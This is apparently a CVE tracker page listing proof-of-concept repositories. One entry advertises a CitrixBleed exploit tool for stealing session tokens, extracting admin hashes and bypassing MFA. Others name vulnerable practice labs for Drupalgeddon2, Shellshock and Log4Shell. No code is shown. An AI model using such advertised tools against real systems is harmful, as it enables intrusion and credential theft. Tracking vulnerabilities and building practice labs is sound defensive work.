CitrixBleed Exploit Tool - CVE-2025-5777 & CVE-2026-8452. Unauthenticated remote memory read from Citrix NetScaler ADC & Gateway. Steal admin session tokens, extract nsroot hashes, dump secrets, and bypass MFA. Python 3 exploit with full memory parsing.

PoC: CVE-2026-76581

CVE-2026-76581

PoC: drupalgeddon2-cve-lab

Drupalgeddon2 CVE-2018-7600 vulnerable Drupal 7 lab

PoC: shellshock-cve-lab

Shellshock CVE-2014-6271 vulnerable CGI lab

PoC: log4shell-cve-lab

Log4Shell CVE-2021-44228 vulnerable lab

PoC: CVE-2026-18741

PoC CVE-2026-18741

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H

References

View on NVD Search GitHub Search Google

Get alerted for CVEs like this

Register your stack and get notified within minutes when a matching CVE drops.

Start monitoring free